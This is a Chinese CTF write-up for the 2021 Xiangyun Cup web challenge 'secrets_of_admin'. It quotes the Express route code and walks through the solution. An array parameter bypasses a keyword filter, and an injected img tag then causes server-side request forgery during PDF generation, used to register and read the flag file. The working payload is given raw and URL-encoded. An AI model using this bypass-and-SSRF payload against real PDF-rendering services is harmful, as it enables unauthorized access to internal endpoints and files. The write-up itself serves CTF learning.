[2021祥云杯]secrets_of_admin
本文来自csdn的??shu天??,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主:https://blog.csdn.net/weixin_46081055 看看ヾ(@ ?ω? @)ノ!!
给了源码
INSERT INTO users (id, username, password) VALUES (1, 'admin','e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645');
database.ts得到密码登陆进去 然后分析源码,routes/index.ts 内是路由:
比较关键的/admin 路由
router.get('/admin', checkAuth, async (req, res) => {
let token = req.signedCookies['token'];
try {
const files = await DB.listFile(token.username);
if (files) {
res.cookie('token', {username: token.username, files: files, isAdmin: true }, { signed: true })
}
} catch (err) {
return res.render('admin', { error: 'Something wrong ... 👻'})
}
return res.render('admin');
});
router.post('/admin', checkAuth, (req, res, next) => {
let { content } = req.body;
if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
return res.render('admin', { error: 'Forbidden word 🤬'});
} else {
let template = `
<html>
<meta charset="utf8">
<title>Create your own pdfs</title>
<body>
<h3>${content}</h3>
</body>
</html>
`
try {
const filename = `${uuid()}.pdf`
pdf.create(template, {
"format": "Letter",
"orientation": "portrait",
"border": "0",
"type": "pdf",
"renderDelay": 3000,
"timeout": 5000
}).toFile(`./files/${filename}`, async (err, _) => {
if (err) next(createError(500));
const checksum = await getCheckSum(filename);
await DB.Create('superuser', filename, checksum)
return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`});
});
} catch (err) {
return res.render('admin', { error : 'Failed to generate pdf 😥'})
}
}
});
/api/files 路由
router.get('/api/files', async (req, res, next) => {
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return next(createError(401));
}
let { username , filename, checksum } = req.query;
if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
try {
await DB.Create(username, filename, checksum)
return res.send('Done')
} catch (err) {
return res.send('Error!')
}
} else {
return res.send('Parameters error')
}
});
还有读文件的/api/files/:id 路由
router.get('/api/files/:id', async (req, res) => {
let token = req.signedCookies['token']
if (token && token['username']) {
if (token.username == 'superuser') {
return res.send('Superuser is disabled now');
}
try {
let filename = await DB.getFile(token.username, req.params.id)
if (fs.existsSync(path.join(__dirname , "../files/", filename))){
return res.send(await readFile(path.join(__dirname , "../files/", filename)));
} else {
return res.send('No such file!');
}
} catch (err) {
return res.send('Error!');
}
} else {
return res.redirect('/');
}
});
上头的DB.getFile 看database.ts 中的定义,就是根据username和checksum在数据库中找文件
static getFile(username: string, checksum: string): Promise<any> {
return new Promise((resolve, reject) => {
db.get(`SELECT filename FROM files WHERE username = ? AND checksum = ?`, username, checksum, (err , result ) => {
if (err) return reject(err);
resolve(result ? result['filename'] : null);
})
})
}
思路:
admin 路由中:content传入一个src属性的标签触发SSRF并访问api/files 路由,利用/api/files 在files表中为admin用户创建一个flag文件,然后通过/api/files/:id 路由来读取该文件。
相关漏洞:
1.src属性的标签在html中可以自动触发,或者说是HTML转PDF时,HTML里面的图片资源被自动加载进来 2.includes()方法可利用数组绕过:学习笔记-Nodejs相关 - byc_404’s blog (bycsec.top)
payload:
content[]=<img src="http://127.0.0.1:8888/api/files?username=admin&filename=./flag&checksum=123">
//filename写./flag是因为数据库定义中filename是VARCHAR(255) NOT NULL UNIQUE,不可重复,所以不直接写成flag
传的时候需要url编码
content[]=<img+src%3D"http%3A//127.0.0.1:8888/api/files?username%3Dadmin%26filename%3D./flag%26checksum%3D123">
访问/api/files/123 得到flag
本文来自csdn的??shu天??,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主:https://blog.csdn.net/weixin_46081055 看看ヾ(@ ?ω? @)ノ!!
参考wp: https://blog.z3ratu1.cn/%E7%A5%A5%E4%BA%91%E6%9D%AF2021%20wp.html 还有师傅用的http-pdf 任意文件读取漏洞: https://suyumen.github.io/2021/10/12/2021-10-12-%5B2021%E7%A5%A5%E4%BA%91%E6%9D%AF%5Dsecrets_of_admin/
|